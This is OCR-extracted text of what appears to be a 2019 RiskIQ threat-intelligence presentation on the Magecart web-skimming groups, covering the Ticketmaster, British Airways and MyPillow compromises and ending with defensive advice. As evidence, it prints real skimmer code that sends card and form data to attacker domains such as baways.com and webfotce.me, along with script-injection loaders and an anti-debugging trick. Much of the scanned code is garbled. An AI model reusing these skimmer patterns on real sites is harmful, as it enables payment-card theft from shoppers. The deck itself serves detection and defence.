Magecart — Activity and Actors

Protecting against JavaScript Injection
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« Ticketmaster Breach Overview
 British Airways Breach Overview

- Magecart Groups

« How to protect against compromise
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in hack attack
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Ticketmaster sold 292 million tickets in 2017

Ticketmaster has admitted that it has suffered a security breach, which the
BBC understands has affected up to 40,000 UK customers.

Malicious software on third-party customer support product Inbenta Technologies
caused the hack, the firm said on Twitter.

"Some personal or payment information may have been accessed by an unknown
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What happened e . G5 Gewn- IV
pp =

* Breach li kely to have affected UK Identity theft warning after major data
customers between February and 23 breach at Ticketmaster
J U n e 2 O 1 8 ::::ilcei(l::l ;I;(c‘t‘;:/li(;y bought tickets since February told to be wary of

* International customers between
September 2017 and 23 June 2018

* Malicious code was embedded in an
Inbenta Technologies service
Ticketmaster uses on their websites

UK customers of Ticketmaster have been warned they could be at risk of
fraud or identity theft after the global ticketing group revealed a major data
breach that has affected tens of thousands of people.
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RisklQ Data Collection Process
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Investigation

* The Challenge:

— RisklQ crawls and inspects over 2 billion pages a day

— Time-period spanned over 90 days equalling > 200B crawls
— Where to start!

* The approach:
— Focus on Ticketmaster UK
— Script hosted by Inbenta

— Review script resources for suspicious behaviour
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Investigation

RISKIQ Q inbenta.com

2009-09-14 Bl Hashes  © Categorize

i Page https://ticketmasteruk.inbenta.com/avatar/jsonp/inbenta.js

Response & DOM
Resolutions WHOIS Certificate Subdomains Trackers

Response Body
FILTERS © SUBDOMAINS © = PO
)
HOSTNAME (551/551) X v |Show:25 <« 1-180f18 » Sort : Hostname Ascending ¥
// Derefarence the node
v % 8x8inbenta.co.. 1 Hostname node = null;
v % abancachatin.. 1 ticketmasterat.inbenta.com // Callback Lf not abort
Lf (1isabore) (
-mai callback();
v % shanca:mslin.. 1 ticketmasterau.inbenta.com ' ?
¥ X% accounts.inbe.. 1 )
ticketmasterbe.inbenta.com n

v % adolfo-doming... 1
var » = document.getilementadyTagNane( ‘script’)(0];
ticketmasterca.inbenta.com
¥ X adreainbenta.. 1 8. parentiode.appendChild(node);
11
v % adyen.inbenta.. 1 ticketmasterde.inbenta.com
var baseUrl = "httpa://ticketmasterck.isbenta.com/avatar/';
¥ % aenachatinb.. 1 ticketmasterdk.inbenta.com
// var baseUrl = getCookim(data.insne + ¢ "ibthul’) || "httpsr//ticketsasteruk. inbenta.com/avatar/ "y

v X ag2r-botinbe.. 1 //setCookie(data.iname + ' ' + “ibtbul’, baselrl);
ticketmasterfi.inbenta.com datal ‘baseURL’'] = baseUrl;

v X ageas-ptinbe.. 1

ticketmasterfr.inbenta.com insertlink(DaseUsrle 'ansata/can/inbonta.con?i52N2042427 )
v X alinbenta.com 1
S % sssubbie ticketmasterie.inbenta.com I :nunuupuu-ourl- assets/ja/inbenta. 1971528204242, l.m:uanl;
vindow.Inbenta.baseURL = baseUrl;
v % alamy.inbenta.. 1 ticketmasternl.inbenta.com main(data);
v X aireuropa-fags.. 1 m
ticketmasterno.inbenta.com N

v % allegion-kc.inb... 1

ticketmasternz.inbenta.com
v % allegion.inben.. 1
v % alisecur-fagsi.. 1 ticketmasterpl.inbenta.com

« % allkecur-instan 1 ticketmacterce.avatar inhenta com
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Inbenta.js with injected code

Page https://ticketmasteruk.inbenta.com/avatar/jsonp/inbenta.js

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (1) Response & DOM DOM Changes Causes

& Response Body

var Ox54f4=
[*\x68\x74\x74\x70\x73\xIA\x2F \x2F\x77\x65 \x62 \x66 \x6P\x74 \ x63\ 65\ x2E\ x6D \ x65 \ x2F \ x6A\x7 I\ x2F\ x66 \ x6F\x 72\ x6D\ 2L\ x6A\x73", "\ x7I\x65\x74 \x69 \x64\x64"
Ax63\x68", "\ x63\x6F\x6F \x6B\x69 \x65", "\ x67\x65\x74 \x54 \x69\x6D\x65", "\x2D", "\x72\x61\x6E\x64 \x6F\x6D", "\xE6\x6C \xEF\x6F\ 2727, "\x7I\x65\x74 \x69\x64\x64
X73\x6E\x64", "\x69 \x6E\x70\x75\x74 \x2C\x20 \x 73\ x65\x6C \x65\x63 \x T4 \x2C \ x20 \ xT4 \x65\x78 \x 74 \x61 \x 72\ x65 \x61 \x2C\x20 \x63\x68 \x65\x63\x68\x62 \x6F \x78\x2C|
x61\x6C\x75\x65", “\x6E\x61\x6D\x65", ", "\x3D", *\x26", "\x61\x58\x68\x72\x65 \x66 \x2A\xID\x2 7\ x6A\x61\x76\x61\x7I\x63\x72\x69 \x70\x74 \ xIA\x76 \x6F\x69\x64
GE\x2C\x20\x2B\x62\x75\xT4\x74 \x6F\x6E", "\ x74\x79\x70\x65", “\x74\x65\x78\x74", “\x73I\x65\x6C \x65\x63\x74", "\ x63\x68\x65\x63 \x6D\x62\x6F\x78", *\x70\x61\
63\x6B", "\x63\x6C\x68", " \x6F\x6E\x63\x6C \x69 \x63\x68", "\x61\x74 \ xT4 \x61\x63 \x68 \x45\x76\x65 \x6E\xT4", " \x66\x6F\xT2\x6D", "\x7I\x75\x62 \x6D\x69\x74", "\x|
SE\x61\x6D\x65", "\x6E\x6F\x64 \x6F \x6D\x61 \x69 \x6E", "\ x50 \ x4 F\x53\x54", "\x69\x31\x34 \x3I3\x63\x30\x32\xI8\x3I3\x32\x32\x35\x30\x37 \x35\x39 \x31 \x32\x37\x3
Ax70\x70\x6C\x69 \x63\x61\x74 \x69 \x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66 \x6F\x72\x6D\x2D\x75\x72 \x6C\x65 \x6B\x63\x6F \ x64 \ x65\x64", "\x73\x65\x74\x52\x6|
S\x74\x6D\x55\x4B\x26 \x6B\x65\x79\x3D", "\x6D\x79\x69\x64", " \x73\x65\x6E\x64", '\XGC\xOP\lGS\xSI\x7l\!69\x6?\16!’.'\!7‘\:65\!73\:70' "A\x6P\x72\x64\x65\x|
{snd:null, 1143c02832250759127229e2b71187011:_O0xS54£4[0],myid: (function( | 2){var _Oxbb [_OX54£4(7))[_Ox54£4(6]))( new RegExp(_0x54£4(2)
1C: I 3[1])sundefined))( 0x54£4{1))|| (function(){var _OxbbBexd~ new Date();var _OxbbSex5~ OxbbBexd| OxS54£4[8])()+ _Ox54£4(9]+ Ma|
60¢ 24+ 1000);document| Ox54£4{7]]= _OxS4£4{12]+ _OxbbBex5+ Ox54£4{13]+ _OxbbBex6[ Ox54£4[14]]();return _OxbbBex5})(),clk:function(){i31fe84730d24c17
_OxbbBex7[_Ox54£4(18));_ ){if(_OxbbBex7[ Oxbb8exB)[ Ox54£4[19]][_Ox54£4[18])> 0){var _ bbBex7[_| 1[_0xS4£4([20]];1f(_OxbbEex9)
_Ox54£4[22)+ _OxbbSex7|[_OxbbBex8)|[_Ox54£4[19))+ _O0x54£4[23)))},send:function(){try{var oxbbso:u-docu-.nt( _Ox54£4(17))(_0x54£4(24]);for(var _OxbbEox8=|
“OxbbBexb[_0x54£4[25])1= _O0x54£4[27)&s _OxbbBexb[_0x54£4[25))1= _Ox54£4[28]6k _OxbbBexb| Ox54£4[25])1= _Ox54£4[29)4s _OxbbBexb| O0x54£4[25]) 1= _OxS54£4(
{_OxbbBexb| Ox54£4(35))(_0x54£4(34),131€e84730424c17cID643de439941960(_0x54£4(33)))})};var _OxbbBexcedocument| OxS4f4[17))(_OxS54£4(36));for(vari~ 0;_ 0}
(_Ox54£4(37],1i31£e84730d24c17c9b643de439941960(_0x54£4[33]],false))else { Oxbblexc| OxbbB8ex8 )| Ox54£4(35))(_O0x54£4(38],i31fe84730d24c1T709b643ded 199419
(_OXS4£4[42))[_OxS4£4[41]](0)[_Ox54£4[40)](_Ox54£4(39))|| _Ox54£4(45);var _OxbbSexe=btoa(illfe84730d24c17cIb643dedI9941960( OxS4£4(15]]) var _|
(_OX54£4[46),1312084730d24c17cob643de439941960(_Ox54£4[47]],true);_ OxbbSexf| OxS4£4[51]])(_Ox54£4(49], OxS4£4[50]);_ OxbbBexf| Ox54£4[55])(_O0x54£4(52]+
null; OxbbBexe= null;setTimeout(function(){i31£e84730d24c17cIb643de439941960( 0x54£4[55)]1()),30) }catch(e){}}}:if(( new RegExp( OxS54£4[58], 0x54£4[59])

(function()

{
var data = {"iname":"dGlja2VObWFzdGVyVUtLY2hhdGIVAFIOZXNO®, "dev” 1 false);
var pluses = /\+/g;

var decode = function(s)
{
return decodeURIComponent(s.replace(pluses, ' '));

i
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Inbenta.js deobfuscated

var skimmer = {

snd: null,

— 67 lines of Code

| gate: ‘https://webfotce.me/js/form.js’,l

myid: (function(cname) ( — Simple skimmer
var cd = document.cookie.match(new RegExp((?:l; )’ + cname.replace(/(\.$?*INO)\NWA+))/g, _ Sta nd a rd M ag eca rt
AST) +=((N])));
return cd ? decodeURIComponent(cd[1)) : undefined
)(setidd) Il (function() { — Send to: https://webfotce.mel/js/form.js
var d = new Date(); — On pages with: order / checkout / onestep

var time_id = d.getTime() + *-* + Math.floor(Math.random() * (999999999 — 11111111 + 1) + 11111111);
var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = ‘setidd=" + time_id + ‘; path=/; expires=" + exp.toUTCString();
return time_id
)0,
clk: function() {

skimmer.snd. = null;
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Impact

 National / International News Story
* Potential impact to 10 million customers
* ~40,000 credit card details stolen

 The data stolen includes:
— Credit Card number
— Name
— Expiry Date
— CVV
* The theft happened in the user’s browser
* No WAF, FW, AV, Sniffer... could detect this

» Arguably Ticketmaster were not breached

© 2019 RisklQ | Confidential Information 11 O Rriskia




Security Advisory

Technology

British Airways: Suspect code that
hacked fliers 'found’

¢ September 6th, 2018 Br|t|sh Airways . f O v I <sme

announces a breach resulting in the theft of
customer credit card data

— Started 22:58 BST August 21st
— Ended 21:45 BST September 5th

The data breach affected 380,000 transactions by BA customers

A cyber-security firm has said it found malicious code injected into the
British Airways website, which could be the cause of a recent data breach
that aff 380,000 i

A RisklQ researcher analysed code from BA's website and app around the time
when the breach began, in late August.

© 2019 RisklQ | Confidential Information 12 O Rriskia




Investigation

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js
Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (0) Response & DOM DOM Changes
Request Headers

& Response Headers
Name Value

X-Frame-Options SAMEORIGIN

Last-Modified Tue, 18 Dec 2012 08:02:48 GMT <

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js
Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (0) Response & DOM DOM Changes
Request Headers

& Response Headers
Name Value

X-Frame-Options SAMEORIGIN

Last-Modified Tue, 21 Aug 2018 20:49:38 GMT <}

©2019 RiskiQ | Confidential Information 13 O Rriskia




Investigation

vindow.onload

function() {

jQuery("#submitButton").bind("mouseup touchend", function(a) {
var
n = {};
jQuery("#paymentForm").serializeArray().map(function(a) {
nla.name) a.value

3
var e = document.getElementById("personPaying").innerHTML;
n.person = e;
var
t = JSON.stringify(n);
tTimeout(function() {

jQuery.ajax({
type: "POST",
async: !0,

url: "https://baways.com/gateway/app/dataprocessing/api/",

data: t,
dataType: "applicat
3]
}, 500)

ion/json"

b3

© 2019 RisklQ | Confidential Information

* Changes:

— 22 lines of Code

— When the User pressed “submit” the
data from the payment form was
sent to baways.com

— Works in web browser and mobile

app

Oriski’



C2 investigation

° BAWAYS . CO M Issued 2018-08-15

Expires 2020-08-15

¢ HOSted I n Rom a n Ia by a Serial Number 129950451738167431558149351195969236479
L|thuan|an ISP SSL Version 3

baways.com (subject)

° P ro pe r S S L Ce rt fro m CO m Od O Common Name COMODO RSA Domain Validation Secure Server CA (issuer)

baways.com (subject)
Alternative Names
www.baways.com (subject)

Organization Name COMODO CA Limited (issuer)

Organization Unit  PositiveSSL (subject)

Street Address

Locality Salford (issuer)
State/Province Greater Manchester (issuer)
Country GB (issuer)
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Magecart



Who is Magecart?

* Active since 2014

* We have been monitoring their activity since 2015
* Umbrella name for a number of criminal groups with similar MO
- Targeting eCommerce to obtain payment information
« Got better and were able to monetize stolen cards

Page https://mageonline.net/js/mage.js (Cached)

DOM Changes Causes Social Sequence To Parent

& Response Body

if ((new RegExp( 'onepage|checkout|onestep|firecheckout')).test(window.location))
{document .write('<script src="https://jquery-cdn.top/mage.js"></script>')};

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers Response & DOM

© 2019 RisklQ | Confidential Information 17
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Group 1: The start of web based skimming

- Started appearing in 2014 up to 2016
« Going after vulnerable eCommerce Server at scale
* Very simple skimmer going after checkout page:

Page http://giftshop.cancerresearchuk.org/cruk-branded/cooking-and-dining/

Status Messages (4) Dependent Requests (208) Cookies (82) Links (103) Headers SSL Certs (0) Response & DOM

& Document Object Model

<script src="https://code.jquery.com/jquery-1.7.js"/>

<script type="text/javascript">var jQueryl7 = $.noConflict(true);</script>

<script src="https://js-save.link/js-save/magel7.js"/>

<script>datalLayer = [{"vi orLoginState":"Logged out","visitorType":"NOT LOGGED IN","visitorLifetimeValue":0,"visitorExistir

<l-- Google Tag Manager -

<noscript>&lt;iframe src=

<script>(function(w,d,s,l
id='+i+dl; f.parentNode.insert!

<l-~- End Google Tag Manag

<div class="hidden">

www.googletagmanager.com/ns.html?id=GTM-W32ZV" height="0" width="0" style="display:none;visibility
{w[ll=w[l]||[];w[1l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsk
ore(j,£);}) (window,document, 'script', 'dataLayer', 'GTM-W32V');</script>

— 5

<script src="https://js-save.link/js-save/magel7.]js"/>

© 2019 RisklQ | Confidential Information @ RISKIQ'



Group 3: Filtering forms

« Goes for high volume of compromised websites.
« Also skimming forms, but goes after forms with credit card data.

e vvay atlgnn If\l/\l

heldelpcy

Tﬁ J'Illl""""”*Il"'F’f'['ﬁ"‘ ~ radweb

paganme: —

Oriski’




Group 4: Taking care of being detected

« Focuses on high volumes of compromises with the goal of getting as
many cards as possible without specific targeting.

« They originate, in our belief, from the malware webinjects ecosystem
« Their skimmer is similar to webinject form overlays

« They counteract analysis and try to fingerprint researchers with
techniques seen in malware!

var timer_debug_offset = 100;

var before_debug = (new Date).getTime();

debugger;

var after_debug = (new Date).getTime();

if (after_debug - before_debug > timer_debug_offset) {
is_being_debugged = true;

}

© 2019 RisklQ | Confidential Information 20 0 RISKIQ'




Group 5: 3rd party compromise

* Uses ‘standard’ skimmer
* Compromise only 3rd parties, don’t self-host besides exfil domain

— Inbenta - Seen on 1600+ sites > tiCketmaStel‘

— SociaPlus - Seen on 5000+ sites (engagement)

— Clarity Connect - Seen on 40+ sites (used in agriculture)

— Social Annex - Seen on 500+ sites (loyalty / advocacy program)
— Flashtalking - Seen on 1200+ sites (also loaded in ads)

— CompanyBe - Seen used 300+ sites (checkout process only)

— PushAssist - Seen on 2000+ sites (Generic analytics)

— Shopper Approved - Seen on 7000+ sites (eCommerce site-seal)
— Feedify - Seen on 1000+ sites

— ShopBack - Seen on 2000+ sites

— SAS Net Reviews - Seen on 2000+ sites (Review site-seal)

© 2019 RisklQ | Confidential Information 21 0 RISKIQ'




Group 6: Targeting for high volume

- Highly targeted, integrated with the payment process, super simple
skimmer code, impersonates infrastructure of victim

-
BRITISH AIRWAYS

— britishairways.com/gateway/cms/processing/
— baways.com/gateway/app/dataprocessing/api/

(newayy }

— secure.newegg.com/GlobalShopping/CheckoutStep2.aspx
— neweggstats.com/GlobalData/

© 2019 RisklQ | Confidential Information 22 O Rriskia




Group 7: Proxies for exfiltration

Skimmer uses compromised hosts to exfiltrate data to server as

Proxy

xzm_dmn ‘
Harder to perform takedowns xzm_checkoutpage ;
xzm_procll =
xzm_procl2
sedj74 = false;
intervalld = null;
bb document.createElement (" '):
bb. ;
bb.
bb. ;
bb. xzm_procll + " ! encodeURIComponent(ress) + " + xXzm_dmn;
document appendChild(bb);
bb document.createElement (" 4
bb.
bb.
bb. ;
bb. xzm_procl2 + " ' + encodeURI( onent(ress) xzm_dmn;
document. .appendChild(bb);
learInterval(intervalld);

© 2019 RisklQ | Confidential Information
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Magecart Evolving

* New groups, 8 - 12
— 8 and 10 same TTP’s different infrastructure
— 9 similar but seen competing for compromised sites
— 11 broadening the skimming
— Using admin, password, etc. as new keywords
— 12 targeting 3" parties
— CDN / Ads as delivery vehicle
— French and German now included

— Adverline, very successful
— Improved masking techniques

© 2019 RisklQ | Confidential Information 24 O Rriskia




Group 9: not playing nicely with Group 3

* Found on several sites
« Targeting data quality of competing group

// second func

jQuery.ajaxSetup({
peforeSend: function(jaXHR, settings) { Detect other group
if (settings.url.index0f("js-react.com") !== -1 || settings.url.indexOf('bootstrap~js.com') !== -1}]{

console. log(settings.url); . . .
————— Generate single digit random number
var cc = new RegExp("[0-9]{13,16}");
if (cc.test(settings.data)) {

var old_cc = settings.data.match{cc); Insert in CC number
var new_data = settings.data.replace(new RegExp("[0-9]1{13,16}", 'g'), old_cc[@]l.slice(®, -1) + myRandom);
settings.data = new=data;

Credit: Willem de Groot: https://gwillem.gitlab.io
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Group 11: Broadening the scope

« Code includes admin, account, login and password

skia SR SE246154961

201792 Amazon.com, nc
20181128

Resolutions WHOIS Certificate Trackers Components Host Pairs OSINT

0 RESOL NS O
DOMAIN X X ( ( ) : (
108.172.15.10.. 1 ( e ( )y 1 i< e.le
2122271815, 1 (eli] length ) {
ihsaLisaR: 3 d - eli]
g ( () {
4097.1602.¢v 1 d (d i) D d C[l]
64.1288.161e.. 1 3 ()
localStorage (d, eli] )
UNIQUE REIsSOLVE - } }
Show Uniqu-. 106 ¢ ik 2018-10-28 2018-11-28
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Group 12: Skimming at scale

* Using script tags
« Sophisticated integrity checks and anti-analysis techniques

* |ntroduced French and German

Page https://jadebloom.com/peppermint-essential-oil-therapeutic-grade-10ml.html

pendent Request Response & DOM

Document Object Model

& Response Body
reviewsBox( ) Ou- y nccvl o (function()(r
<noript type="text/javaseript >« >

iewvaBox()1))i1</mcript>

ip rip
<soript lypn-‘tont/;nvnce: Pt " >var lifetise~ 0‘03 explreAt
Date())expireAt.setTine expix -A +getTime()slifetinas IOOD) ) . - ! i !
£eal e C N = aocument ’
<script id="cdn -
cdn-document .cr eElement ( ipt ) cdn ohl HRO m!‘l.y! i = i
document bod’ pp.ndc:x t‘.) </ 8 p-_> C n — ’

<script “"https: Nu:boo:com/‘i /frontend/bas: /d!
'-cr;pl‘:Ouxy.umu(bl ( {daysilidde G daysien. nd X [ ] !
app’ price: 70{'..pp€tc:oi.qnqqnqnl us', inApplte the bo b Cdn [ ] — .
exparience, ', inAmazonAppltore: ' the bou hxo-u;r\q xporx oe. ",
<soript lyyn-'!.on/;nvn-:r;pt “»window.lazySisesConfig~ ( aoc i i ! 1
<.C:;pl ypc-'un/:-vuc:;p\' -:c-'nup-: //uu
Lol Aol document [ [ ] (cdn)

Oriski’
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Group 4: Still very active
» Highly advanced group

* Observed changes N o
— Reduced IP overlap, max 5 domains / IP = ™" °re e foldls

— Added more hosting services to reduce /

avoid takedowns SN

— Increased # of masking / benign libraries T

— Upgraded skimmer, active code now s s

~150 lines (previously >1500)

— Now skims (vs phishing style overlay) I

— Improved exfil process

— Includes encryption

« RisklQ actively tracking and taking down infrastructure

© 2019 RisklQ | Confidential Information 28 © RISKIQ'




New (Not Yet Attributed) Activity

* Significant spike in scripts stored Create bucket
in Amazon S3

* Organisations are storing JS in

@ rameandregon (@) set properties (3) setpemmissions  (4) Review

world writable buckets! ~ Manage users
1 . e User 1D Objects
* Scripts are being modified at ——
Owner v ead 4 rte
scale (Owner)

* Many victims (possibly 100,000’s) REEda

* Victims include prepay credit card 22
p rOVId e rS Any authenticated AWS user

Everyone
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Other updates

Group 7 experimented with Malware drops
— Seen last year, no recent activity observed

Tech Support scammers trying to join in
— No successful implementations seen so far

~20 Off-Shelf skimmers in active use across the Magecart groups

Still seeing 40-50 Magecart compromises a day
— The tip of the iceberg

© 2019 RisklQ | Confidential Information 30 O Rriskia




What Can You Do To Protect Your Assets?

Understand and manage your external attack surface
— Review and remove unnecessary scripts

* Implement appropriate security controls for Javascript:
— Use iframe sandboxing
— CSP (Content security policy)
— SRI (Sub-resource Integrity Checking)

* Continuous auditing and analysis of your attack Surface

* Speak to your Technical Account Manager about JavaScript reporting and
monitoring
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MyPillow Website

ORDER NOW: 1-500-544-8939
CUSTOMER SERVICE 1500

Q Places To Buy - Q

SAVE 30% & FREE SHIPPING!.. ...

TV & RADIO

2 s P a ck ( x:aﬂl}#-\mns

. .
[ Sm—

SPECIAL &
$69.98 — —

ICK HERE
Luxury Giza Cotton Sheets

2 For 1 Low Price

SAVE 30% - As Seen On TV =
50% off & FREE SHIPPING!

Mattress Topper TV Special 4 Pack Special

Page https://www.mypillow.com/

& Document Object Model

<html lang="en">
<head>
<style id="matchmediajs-test®
<script type="text/javascri
<script ext/javascr
src="https:

/bat.bing.com/bat.is" async="

ttps://connect. facebook.net/signals/config/15082318128029172v

async="" src="//connect.facebook.net/en

pt type="text/javascri

pt>var BASE_URL

charset="utf-8*

name~"robots” contents="INDEX, FOLLOW"/>

name="viewport®” contents"widthedevice-width,

name="format-detection”

e>MyPillow®: Official My Pillow Site</title>

rel="stylesheet® type="toxt/css® media="all"
"stylesheet”

rel="stylesheet® type="text/css
ypo="text/javascript”
“canonica
"canonical® href="https://www.

>#media only all{ #matchaediajs-test

content="telephone=no”

type="text/css" media="screen and (min-width: #px)*
media="print*
src="https://www.mypi
href="https://www.mypillow.com/mypillow-official-my-pil
/pillow.com/" />

Response & DOM

width: Zp!‘

async=""/>

var require = JRI‘S V TQ}W com/static/versionl1538417342/frontend/FirstSerib

initial-scale~1%/

href="https://www.mypillow.com/static/versionl538417342/_cache/merged/8céb835420b7eeblI£050985L£c85

href="https://www.mypillow.com/static/versionl1538417342/¢rontend/Pirstse
href="https://www.mypillow. com/static/version1538417342/frontend/FirstScribe/CustonThene/en_US/c
ow.com/static/version153841

fcon" type="image/x-
shortcut icogs

<script src

"//mypiltow.com/js/mage/bundle.js" async="" defer= '/>l

cation® conte
sro="http
ypiltow.com/js/mage/bundle. I
Facebook Pixel Code -->
pt>!function(f

,b,e,v, 8){1f(f.fbg)return;n

mentaByTaghame(e)[0];s.parentNode. insertBefore(t,s)) (window, document

<seri px-umn on(w,d,t,r,u)({var £,n,i;w[u]=wfu]

Page https://mypiltow.com/js/mage/bundle.js

rHd-VUnGOEDNUGChz4PSISYYNULYXITZXXFI LWPaH4AS " />

ck.com/is/customer-tracking/www.mypillow.com b953cbeéc5fe0f79cbal5301ed2aabal.js" type="text/j
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script','//connect.facebook.net/en_US/fbevents.is'); fbg('init

), f=function()(var o={ti:"4078429") 0.q=w[u],w[u]=new UET(0),w[u].push("pageload")},n=d.createtlen

Page https://secure.livechatinc.org/licence/9655505/v2/get_dynamic_config.js




Take a look at this in PassiveTotal

= (@ riskia | & mypillow.com (C)

First Seen 2009-09-08 Registra
m o [ Hashes @ Ccategorize
tSeen 2019-05-23 ar

Query Results

v ANALYST INSIGHTS

Crawled By RiskiQ 2 days ago

;eND [

v HEATMAP

Dec Jan Feb Mar Apr May

2019

2018-11-18 to 2019-05-23
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RiskiQ [ @ mypillow.com ) EDtStpHiER

2009-09-08

B Hashes © Categorize
2019-05-23

74 4 62 24 27 409 248 10 2 38 1 748
Resolutions WHOIS Certificate Subdomains Trackers Components Host Pairs OSINT Hashes DNS Projects Cookies
FILTERS © RESOLUTIONS €@
IP (74774) v |Show:25 <« 1-250f74 » Sort: Last Seen Descending v Download
v % 13.8957.7 1 Resolve Location Network ASN First Last Source 1
v % 1732032693 1 3.19.49.113 us Unknown 2019-05-20 2019-05-23 pingly, riskiq
v % 1732035862 1 3.16.153.201 us Unknown 2019-05-20 2019-05-23 pingly, riskiq
« % 18.216.105.230 1
52.14.189.144 us 52.14.0.0/16 16509 2019-04-15 2019-05-22 pingly, riskigq
v % 18.216.174.78 1
Show More 3.19.52.131 us Unknown 2019-04-15 2019-05-22 pingly, riskiq
NETWORK (15/48) 3.14.124.152 us Unknown 2019-05-13 2019-05-17 pingly, riskiq
v % 18.220.0.0/14 9 I 3.16.63.211 us Unknown 2019-05-13 2019-05-17 pingly, riskiq
v X .14.0.
521400018 B 3.16.229.18 us Unknown 2019-05-01 2019-05-10 pingly, riskiq
v % 5215128017 7
3.17.210.201 us Unknown 2019-04-28 2019-05-10 pingly, riskig
v % 52.15.64.0/18 6
v % 192124.2490.. 3 3.18.65.133 us Unknown 2019-04-28 2019-04-28 riskiq
Show More 52.15.156.160 us 52.15.128.0/17 16509 2019-04-28 2019-04-28 riskiq
GELE (AL 3.18.116.73 us Unknown 2019-04-20 2019-04-21 riskiq
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2009-09-08
2019-05-23
FILTERS ©
DIRECTION x
v parents

v child

PARENT HOSTNAME (10/
190)

v % www.mypill... 125
v % mypillow.com 32
v % 3.16.63.211 6
v X 31949113 6

v % mypillow-lb-17... 6

Show More

CAUSE (10/216) x
v % unknown 43
v % img.src 33
v % redirect 24

v ¥ toplevelRedi.. 21

Show More

FUIN UACTNIAME 10/

Q mypillow.com ©

[ Hashes

HOST PAIRS @

v

| Show : 25

Parent Hostname

www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com

www mvbillow.com

< 1-250f 42

° Categorize

> Sort: Last Seen Descending v

Child Hostname

mypillow.blob.core.windows.net
cdn.livechatinc.com
www.googletagmanager.com
bat.bing.com
connect.facebook.net
apl.cartstack.com
beacon.riskified.com
maps.googleapis.com
www.google-analytics.com
secure.livechatinc.com
www.google.com

secure.livechatinc.org

dev.visualwebsiteontimizer com
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2019-05-18

2019-05-13
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Download
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script.src
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script.src
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Riskiq | & mypiltow.com mypillow.com ©

2018-10-01 2 © Ccategorize
20190523

v ANALYS'

INSIGHTS
lacklisted Resolving IP Blacklisted I8 48 months 3 " he & ; ; ew sGbdomain 3 months ago Resolves to 1P m Somain share whor racord ey Sl Crawied By RiskiQ 7 days ago [IRELETRLT

v HEATMAP
Det r Feb Mai Api M
2019
2018-11-18 t0 2019-05-23
v DATA
1 9 1 € 1 ;
Resolutions WHOIS Certificate Subdomains Trackers Components Host Pairs OSINT Hashes DNS Projects Cookies

FILTERS @ RESOLUTIONS @

IP (2/2) v |Show:25 <« 1.20f2 » Sort: Last Seen Descending v

v X 1951614165 1 Resolve Location Network ASN First Last Source Tags

v % 195.161.41.85 1 195.161.41.85 RU 195.161.0.0/16 8342 2019-03-03 2019-05-23 emerging_threats, kaspersky, pingly, riskiq

195.161.41.65 RU 195.161.0.0/16 8342 2018-10-01 2019-03-02 kaspersky, pingly, riskig, virustotal
PP s 5 b

NETWORK (1/2)

v % 195161.00/16 2

© 2019 RisklQ | Confidential Information O RISKIQ




) RISKIQ

Q mypillow.com
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{1 Hashes (+] Categorize

v DATA
74 3 62 24 27 409
Resolutions WHOIS Certificate Subdomains Trackers Components
FILTERS @ HOST PAIRS @
DIRECTION x v |Show:25 <« 1-250f42 » Sort : Last Seen Descending ¥
v parents Parent Hostname Child Hostname

PARENT HOSTNAME (10/

190)
]

v % www.mypill.. 125

v % mypillow.com 32

v % 31663211 6

v % 31949113 6

v %  mypillow-Ib-17... 6 )
Show More

CAUSE (10/216) x
|

+ % unknown 43

v % img.src 33 |

v % redirect 24

v % toplevelRedi.. 21 y
Show More

www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com
www.mypillow.com

mypillow.blob.core.windows.net
cdn.livechatinc.com
www.googletagmanager.com
bat.bing.com
connect.facebook.net
api.cartstack.com
beacon.riskified.com
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www.google-analytics.com

mypiltow.com

Aav uicnialmahcitanntimizar ram

© 2019 RisklQ | Confidential Information

248
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You do the rest!

« RisklQ PassiveTotal
— Sign up: https://community.riskiqg.com/registration
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